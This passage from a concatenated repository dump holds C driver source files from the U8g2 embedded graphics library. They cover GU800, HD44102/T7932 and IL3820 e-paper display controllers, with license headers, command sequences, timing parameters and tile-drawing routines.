HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. u8x8_gu800_cad_110 WARNING: DO NOT USE THIS FILE AS TEMPLATE: This code requires a special cad callback which includes the start and end transfer code. As a consequence this code does not include any start / end transfer calls. */ #include "u8x8.h" static const uint8_t u8x8_d_gu800_128x64_powersave0_seq[] = { U8X8_CA(0x024, 0x040), /* Byte 1: Layer 0010xx00, Byte 2: 0x40 (graphics on, normal mode, no or/xor) */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_gu800_128x64_powersave1_seq[] = { U8X8_CA(0x020, 0x040), /* Byte 1: Layer 0010xx00, Byte 2: 0x40 (graphics on, normal mode, no or/xor) */ U8X8_END() /* end of sequence */ }; /* hardware flip is not supported by GU800 */ #ifdef NOT_SUPPORTED static const uint8_t u8x8_d_gu800_128x64_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_gu800_128x64_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; #endif uint8_t u8x8_d_gu800_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_gu800_128x64_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_gu800_128x64_powersave1_seq); break; #ifdef NOT_SUPPORTED case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_gu800_128x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_gu800_128x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #endif #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_SendCmd(u8x8, 0x4f - ((arg_int >> 4)&0x0f) ); /* GU800 has range from 0..15, max brightness is 0x040 */ break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x064 ); u8x8_cad_SendArg(u8x8, x ); u8x8_cad_SendCmd(u8x8, 0x060 ); u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos) ); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* SendData can not handle more than 255 bytes, treat c > 31 correctly */ if ( c > 31 ) { u8x8_cad_SendData(u8x8, 248, ptr); /* 31*8=248 */ ptr+=248; c -= 31; } u8x8_cad_SendData(u8x8, c*8, ptr); arg_int--; } while( arg_int > 0 ); break; default: return 0; } return 1; } /*=================================================*/ static const uint8_t u8x8_d_gu800_128x64_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x05f), /* clear all RAM, clear address counters */ U8X8_DLY(1), /* delay for 1 ms (see datasheet) */ /* configure all area as graphics RAM */ U8X8_CA(0x62,0), U8X8_D1(0xff), U8X8_CA(0x62,1), U8X8_D1(0xff), U8X8_CA(0x62,2), U8X8_D1(0xff), U8X8_CA(0x62,3), U8X8_D1(0xff), U8X8_CA(0x62,4), U8X8_D1(0xff), U8X8_CA(0x62,5), U8X8_D1(0xff), U8X8_CA(0x62,6), U8X8_D1(0xff), U8X8_CA(0x62,7), U8X8_D1(0xff), U8X8_CA(0x70, 0), /* horizontal shift */ U8X8_C(0xb0), /* vertical shift */ U8X8_C(0x40), /* min (0x04f) / max (0x040) brightness */ U8X8_C(0x84), /* x increment */ // U8X8_CA(0x024, 0x040) /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_d_gu800_128x64_display_info = { /* chip_enable_level = */ 0, /* GU800: CSS signal */ /* chip_disable_level = */ 1, /* GU800: CSS signal */ /* post_chip_enable_wait_ns = */ 40, /* pre_chip_disable_wait_ns = */ 150, /* reset_pulse_width_ms = */ 2, /* GU800: Unspecified in datasheet */ /* post_reset_wait_ms = */ 2, /* GU800: Min 1.5ms per datasheet */ /* sda_setup_time_ns = */ 40, /* GU800: 40ns according to the timing diagram */ /* sck_pulse_width_ns = */ 80, /* GU800: Min 80ns per datasheet */ /* sck_clock_hz = */ 4000000UL, /* spi_mode = */ 2, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* GU800: Not used */ /* data_setup_time_ns = */ 40, /* GU800: Min 40ns per datasheet */ /* write_pulse_width_ns = */ 150, /* GU800: Min 150ns per datasheet */ /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 64 }; uint8_t u8x8_d_gu800_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_gu800_common(u8x8, msg, arg_int, arg_ptr) ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_d_gu800_128x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_gu800_128x64_init_seq); break; default: return 0; } return 1; } /*=================================================*/ /* https://github.com/olikraus/u8g2/issues/1970 */ static const uint8_t u8x8_d_gu800_160x16_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x05f), /* clear all RAM, clear address counters */ U8X8_DLY(1), /* delay for 1 ms (see datasheet) */ /* configure all area as graphics RAM */ U8X8_CA(0x62,0), U8X8_D1(0xff), U8X8_CA(0x62,1), U8X8_D1(0xff), U8X8_CA(0x62,2), U8X8_D1(0xff), U8X8_CA(0x62,3), U8X8_D1(0xff), U8X8_CA(0x62,4), U8X8_D1(0xff), U8X8_CA(0x62,5), U8X8_D1(0xff), U8X8_CA(0x62,6), U8X8_D1(0xff), U8X8_CA(0x62,7), U8X8_D1(0xff), U8X8_CA(0x70, 0), /* horizontal shift */ U8X8_C(0xb0), /* vertical shift */ U8X8_C(0x40), /* min (0x04f) / max (0x040) brightness */ U8X8_C(0x84), /* x increment */ // U8X8_CA(0x024, 0x040) /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_d_gu800_160x16_display_info = { /* chip_enable_level = */ 0, /* GU800: CSS signal */ /* chip_disable_level = */ 1, /* GU800: CSS signal */ /* post_chip_enable_wait_ns = */ 40, /* pre_chip_disable_wait_ns = */ 150, /* reset_pulse_width_ms = */ 2, /* GU800: Unspecified in datasheet */ /* post_reset_wait_ms = */ 2, /* GU800: Min 1.5ms per datasheet */ /* sda_setup_time_ns = */ 40, /* GU800: 40ns according to the timing diagram */ /* sck_pulse_width_ns = */ 80, /* GU800: Min 80ns per datasheet */ /* sck_clock_hz = */ 4000000UL, /* spi_mode = */ 3, /* active high, rising edge, ISSUE 1970 */ /* i2c_bus_clock_100kHz = */ 4, /* GU800: Not used */ /* data_setup_time_ns = */ 40, /* GU800: Min 40ns per datasheet */ /* write_pulse_width_ns = */ 150, /* GU800: Min 150ns per datasheet */ /* tile_width = */ 20, /* width of 8*20=160 pixel */ /* tile_height = */ 2, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 160, /* pixel_height = */ 16 }; uint8_t u8x8_d_gu800_160x16(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_gu800_common(u8x8, msg, arg_int, arg_ptr) ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_d_gu800_160x16_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_gu800_160x16_init_seq); break; default: return 0; } return 1; } /*=================================================*/ ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_hd44102.c ================================================ /* u8x8_d_hd44102.c Support for HD44102 and T7932 controller (https://github.com/olikraus/u8g2/issues/1492) Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2021, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_hd44102_init_seq[] = { U8X8_C(0x03b), /* upcount */ U8X8_C(0x03e), /* start at the top */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_hd44102_powersave0_seq[] = { U8X8_C(0x039), /* display on */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_hd44102_powersave1_seq[] = { U8X8_C(0x038), /* display off */ U8X8_END() /* end of sequence */ }; /* data: pointer to "cnt" bytes cnt: number of bytes, which should be sent page: 0..3: the current page within the display offset: offset location on the display, where the data should be placed cs_none: 3-bit chip select pattern for not selecting any display cs0: 3-bit chip select pattern for the left display (0..49) cs1: 3-bit chip select pattern for the middle display (50..99) cs2: 3-bit chip select pattern for the right display (100..149) The csX bit pattern is: bit 0: CS bit 1: CS1 bit 2: CS2 see u8x8_byte_set_ks0108_cs() in u8x8_byte.c */ static void u8x8_hd44102_outy(u8x8_t *u8x8, uint8_t *data, uint8_t cnt, uint8_t page, uint8_t offset, uint8_t cs_none, uint8_t cs0, uint8_t cs1, uint8_t cs2) { uint8_t pos = offset; uint8_t data_cnt; /* write to left display? */ if ( pos < 50 && cnt > 0 ) { /* calculate number of bytes to sent */ data_cnt = 50 - pos; if ( data_cnt > cnt ) data_cnt = cnt; if ( data_cnt > 50 ) data_cnt = 50; /* sent the data */ u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, cs0, NULL); u8x8_cad_SendCmd(u8x8, (page << 6) | pos ); u8x8_cad_SendData(u8x8, data_cnt, data); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, cs_none, NULL); /* adjust the data */ data += data_cnt; pos += data_cnt; cnt -= data_cnt; } /* write to middle display? */ if ( pos < 100 && cnt > 0 ) { /* calculate number of bytes to sent */ data_cnt = 100 - pos; if ( data_cnt > cnt ) data_cnt = cnt; if ( data_cnt > 50 ) data_cnt = 50; /* sent the data */ u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, cs1, NULL); u8x8_cad_SendCmd(u8x8, (page << 6) | (pos-50) ); u8x8_cad_SendData(u8x8, data_cnt, data); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, cs_none, NULL); /* adjust the data */ data += data_cnt; pos += data_cnt; cnt -= data_cnt; } /* write to right display? */ if ( pos < 150 && cnt > 0 ) { /* calculate number of bytes to sent */ data_cnt = 150 - pos; if ( data_cnt > cnt ) data_cnt = cnt; if ( data_cnt > 50 ) data_cnt = 50; /* sent the data */ u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, cs2, NULL); u8x8_cad_SendCmd(u8x8, (page << 6) | (pos-100) ); u8x8_cad_SendData(u8x8, data_cnt, data); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, cs_none, NULL); /* adjust the data */ data += data_cnt; pos += data_cnt; cnt -= data_cnt; } } static const u8x8_display_info_t u8x8_hd44102_150x32_display_info = { /* chip_enable_level = */ 0, /* KS0108/HD44102: Not used */ /* chip_disable_level = */ 1, /* KS0108/HD44102: Not used */ /* post_chip_enable_wait_ns = */ 100, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 12, /* sck_pulse_width_ns = */ 75, /* KS0108/HD44102: Not used */ /* sck_clock_hz = */ 4000000UL, /* KS0108/HD44102: Not used */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* KS0108/HD44102: Not used */ /* data_setup_time_ns = */ 200, /* write_pulse_width_ns = */ 250, /* KS0108/HD44102: actially 450 ns, but additional 200 ns are added by the byte transfer function */ /* tile_width = */ 19, /* width of 19*8=152 pixel */ /* tile_height = */ 4, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 150, /* pixel_height = */ 32 }; //uint8_t u8x8_d_hd44102_150x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) uint8_t u8x8_d_t7932_150x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t cs[4] = {1, 2, 4, 0}; uint8_t i; uint8_t x, cnt; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_hd44102_150x32_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); for( i = 0; i < 3; i++ ) { u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, cs[i], NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_hd44102_init_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, cs[3], NULL); } break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: for( i = 0; i < 3; i++ ) { u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, cs[i], NULL); if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_hd44102_powersave0_seq); } else { u8x8_cad_SendSequence(u8x8, u8x8_d_hd44102_powersave1_seq); } u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, cs[3], NULL); } break; // The HD44102 can not mirror the cols and rows, use U8g2 for rotation // case U8X8_MSG_DISPLAY_SET_FLIP_MODE: // break; // The HD44102 has no internal contrast command // case U8X8_MSG_DISPLAY_SET_CONTRAST: // break; case U8X8_MSG_DISPLAY_DRAW_TILE: x = ((u8x8_tile_t *)arg_ptr)->x_pos; cnt = ((u8x8_tile_t *)arg_ptr)->cnt; x*=8; cnt*=8; do { u8x8_hd44102_outy(u8x8, ((u8x8_tile_t *)arg_ptr)->tile_ptr, cnt, ((u8x8_tile_t *)arg_ptr)->y_pos, x, cs[3], cs[0], cs[1], cs[2]); arg_int--; x += cnt; } while (arg_int > 0); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_hd44102_100x64_display_info = { /* chip_enable_level = */ 0, /* KS0108/HD44102: Not used */ /* chip_disable_level = */ 1, /* KS0108/HD44102: Not used */ /* post_chip_enable_wait_ns = */ 100, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 12, /* sck_pulse_width_ns = */ 75, /* KS0108/HD44102: Not used */ /* sck_clock_hz = */ 4000000UL, /* KS0108/HD44102: Not used */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* KS0108/HD44102: Not used */ /* data_setup_time_ns = */ 200, /* write_pulse_width_ns = */ 250, /* KS0108/HD44102: actially 450 ns, but additional 200 ns are added by the byte transfer function */ /* tile_width = */ 13, /* width of 13*8=104 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 100, /* pixel_height = */ 64 }; uint8_t u8x8_d_hd44102_100x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t i; uint8_t x, cnt, page; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_hd44102_100x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); for( i = 0; i < 4; i++ ) { u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, i, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_hd44102_init_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL); } break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: for( i = 0; i < 4; i++ ) { u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, i, NULL); if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_hd44102_powersave0_seq); } else { u8x8_cad_SendSequence(u8x8, u8x8_d_hd44102_powersave1_seq); } u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL); } break; // The HD44102 can not mirror the cols and rows, use U8g2 for rotation // case U8X8_MSG_DISPLAY_SET_FLIP_MODE: // break; // The HD44102 has no internal contrast command // case U8X8_MSG_DISPLAY_SET_CONTRAST: // break; case U8X8_MSG_DISPLAY_DRAW_TILE: x = ((u8x8_tile_t *)arg_ptr)->x_pos; cnt = ((u8x8_tile_t *)arg_ptr)->cnt; page = ((u8x8_tile_t *)arg_ptr)->y_pos; x*=8; cnt*=8; if ( page < 4 ) { do { u8x8_hd44102_outy(u8x8, ((u8x8_tile_t *)arg_ptr)->tile_ptr, cnt, page, x, 7, 0, 1, 7); arg_int--; x += cnt; } while (arg_int > 0); } else { do { u8x8_hd44102_outy(u8x8, ((u8x8_tile_t *)arg_ptr)->tile_ptr, cnt, page-4, x, 7, 2, 3, 7); arg_int--; x += cnt; } while (arg_int > 0); } break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_il3820_296x128.c ================================================ /* u8x8_d_il3820_296x128.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2017, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. il3820: 200x300x1 command 0x22: assign actions 0x20: execute actions action for command 0x022 are (more or less guessed) bit 7: Enable Clock bit 6: Enable Charge Pump bit 5: Load Temparture Value (???) bit 4: Load LUT (???) bit 3: Initial Display (???) bit 2: Pattern Display --> Requires about 945ms with the LUT from below bit 1: Disable Charge Pump bit 0: Disable Clock Disable Charge Pump and Clock require about 10ms Enable Charge Pump and Clock require about 100 to 300ms Notes: - Introduced a refresh display message, which copies RAM to display - Charge pump is always enabled. Charge pump can be enabled/disabled via power save message - U8x8 will not really work because of the two buffers in the SSD1606, however U8g2 should be ok. LUT for the 296x128 device (IL3820) LUT (cmd: 0x032 has 30 bytes) section 6.8 of the datasheet mentions 256 bits = 32 bytes for the LUT chapter 7 tells 30 bytes according to section 6.8: 20 bytes waveform 10 bytes timing 1 byte named as VSH/VSL 1 empty byte according to the command table, the lut has 240 bits (=30 bytes * 8 bits) LUT / Refresh time total_refresh_time = (refresh_lines + dummy_lines*2)*TGate*TS_Sum/f_OSC f_OSC=1MHz (according to the datasheets) refreh_lines = 296 (for the waveshare display, 0x045 cmd) dummy_lines = 22 (for the upcoming u8g2 code, 0x03a cmd) TGate = 62 (POR default, 0x03b cmd) TS_Sum: Sum of all TS entries of the second part of the LUT f_OSC: 1MHz according to the datasheet. so we have total_refresh_time = 21080*TS_Sum/1000000 = 21ms * TS_Sum This file includes two devices: u8x8_d_il3820_296x128 --> includes LUT which is probably from the WaveShare 2.9 Vendor u8x8_d_il3820_v2_296x128 --> includes LUT which was optimized for faster speed and lesser flicker */ /* Waveform part of the LUT (20 bytes) */ /* bit 7/6: 1 - 1 transition */ /* bit 5/4: 1 - 0 transition */ /* bit 3/2: 0 - 1 transition */ /* bit 1/0: 0 - 0 transition */ /* 00 – VSS */ /* 01 – VSH */ /* 10 – VSL */ /* 11 – NA */ #include "u8x8.h" /*=================================================*/ /* common code for all devices */ static const uint8_t u8x8_d_il3820_296x128_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x22, 0xc0), /* enable clock and charge pump */ U8X8_C(0x20), /* execute sequence */ U8X8_DLY(200), /* according to my measures it may take up to 150ms */ U8X8_DLY(100), /* but it might take longer */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_il3820_296x128_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ /* disable clock and charge pump only, deep sleep is not entered, because we will loose RAM content */ U8X8_CA(0x22, 0x02), /* only disable charge pump, HW reset seems to be required if the clock is disabled */ U8X8_C(0x20), /* execute sequence */ U8X8_DLY(20), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; // static const uint8_t u8x8_d_il3820_296x128_flip0_seq[] = { // U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ // U8X8_END_TRANSFER(), /* disable chip */ // U8X8_END() /* end of sequence */ // }; // static const uint8_t u8x8_d_il3820_296x128_flip1_seq[] = { // U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ // U8X8_END_TRANSFER(), /* disable chip */ // U8X8_END() /* end of sequence */ // }; static const u8x8_display_info_t u8x8_il3820_296x128_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 120, /* pre_chip_disable_wait_ns = */ 60, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /* sda_setup_time_ns = */ 50, /* IL3820 */ /* sck_pulse_width_ns = */ 125, /* IL3820: 125ns, clock cycle = 250ns */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* tile_width = */ 37, /* 37*8 = 296 */ /* tile_height = */ 16, /* 16*8 = 128 */ /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 296, /* pixel_height = */ 128 }; static uint8_t *u8x8_convert_tile_for_il3820(uint8_t *t) { uint8_t i; static uint8_t buf[8]; uint8_t *pbuf = buf; for( i = 0; i < 8; i++ ) { *pbuf++ = ~(*t++); } return buf; } static void u8x8_d_il3820_draw_tile(u8x8_t *u8x8, uint8_t arg_int, void *arg_ptr) U8X8_NOINLINE; static void u8x8_d_il3820_draw_tile(u8x8_t *u8x8, uint8_t arg_int, void *arg_ptr) { uint16_t x; uint8_t c, page; uint8_t *ptr; u8x8_cad_StartTransfer(u8x8); page = u8x8->display_info->tile_height; page --; page -= (((u8x8_tile_t *)arg_ptr)->y_pos); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; //u8x8_cad_SendCmd(u8x8, 0x011 ); /* cursor increment mode */ //u8x8_cad_SendArg(u8x8, 7); u8x8_cad_SendCmd(u8x8, 0x04f ); /* set cursor column */ u8x8_cad_SendArg(u8x8, x&255); u8x8_cad_SendArg(u8x8, x>>8); u8x8_cad_SendCmd(u8x8, 0x04e ); /* set cursor row */ u8x8_cad_SendArg(u8x8, page); u8x8_cad_SendCmd(u8x8, 0x024 ); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendData(u8x8, 8, u8x8_convert_tile_for_il3820(ptr)); ptr += 8; x += 8; c--; } while( c > 0 ); arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); } static const uint8_t u8x8_d_il3820_exec_1000dly_seq[] = { // assumes, that the start transfer has happend U8X8_CA(0x22, 0x04), /* display update seq. option: pattern display */ U8X8_C(0x20), /* execute sequence */ U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(250), U8X8_DLY(250), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static void u8x8_d_il3820_first_init(u8x8_t *u8x8) { u8x8_ClearDisplay(u8x8); u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x032); // program update sequence u8x8_cad_SendMultipleArg(u8x8, 8, 0x055); // all black u8x8_cad_SendMultipleArg(u8x8, 12, 0x0aa); // all white u8x8_cad_SendMultipleArg(u8x8, 10, 0x022); // 830ms u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_exec_1000dly_seq); } #ifdef OBSOLETE static void u8x8_d_il3820_second_init(u8x8_t *u8x8) { u8x8_ClearDisplay(u8x8); u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x032); // program update sequence u8x8_cad_SendMultipleArg(u8x8, 20, 0x000); // do nothing u8x8_cad_SendMultipleArg(u8x8, 10, 0x011); // 414ms dly /* reuse sequence from above, ok some time is wasted here, */ /* delay could be lesser */ u8x8_cad_SendSequence(u8x8, u8x8_d_il3820_exec_1000dly_seq); } #endif /*=================================================*/ /* first version, LUT from WaveShare */ /* http://www.waveshare.com/wiki/File:2.9inch_e-Paper_Module_code.7z */ static const uint8_t u8x8_d_il3820_296x128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x10, 0x00), /* Deep Sleep mode Control: Disable */ U8X8_C(0x01), U8X8_A(295 % 256), U8X8_A(295/256), U8X8_A(0), U8X8_CA(0x03, 0x00), /* Gate Driving voltage: 15V (lowest value)*/ U8X8_CA(0x04, 0x0a), /* Source Driving voltage: 15V (mid value and POR)*/ //U8X8_CA(0x22, 0xc0), /* display update seq. option: enable clk, enable CP, .... todo: this is never activated */ //U8X8_CA(0x0b, 7), /* Set Delay of gate and source non overlap period, POR = 7 */ U8X8_CA(0x2c, 0xa8), /* write vcom value*/ U8X8_CA(0x3a, 0x16), /* dummy lines POR=22 (0x016) */ U8X8_CA(0x3b, 0x08), /* gate time POR=0x08*/ U8X8_CA(0x3c, 0x33), /* select boarder waveform */ //U8X8_CA(0x22, 0xc4), /* display update seq. option: clk -> CP -> LUT -> initial display -> pattern display */ U8X8_CA(0x11, 0x07), /* Define data entry mode, x&y inc, x first*/ U8X8_CAA(0x44, 0, 29), /* RAM x start & end, issue 920: end should be (128/8)-1=15. */ U8X8_CAAAA(0x45, 0, 0, 295&255, 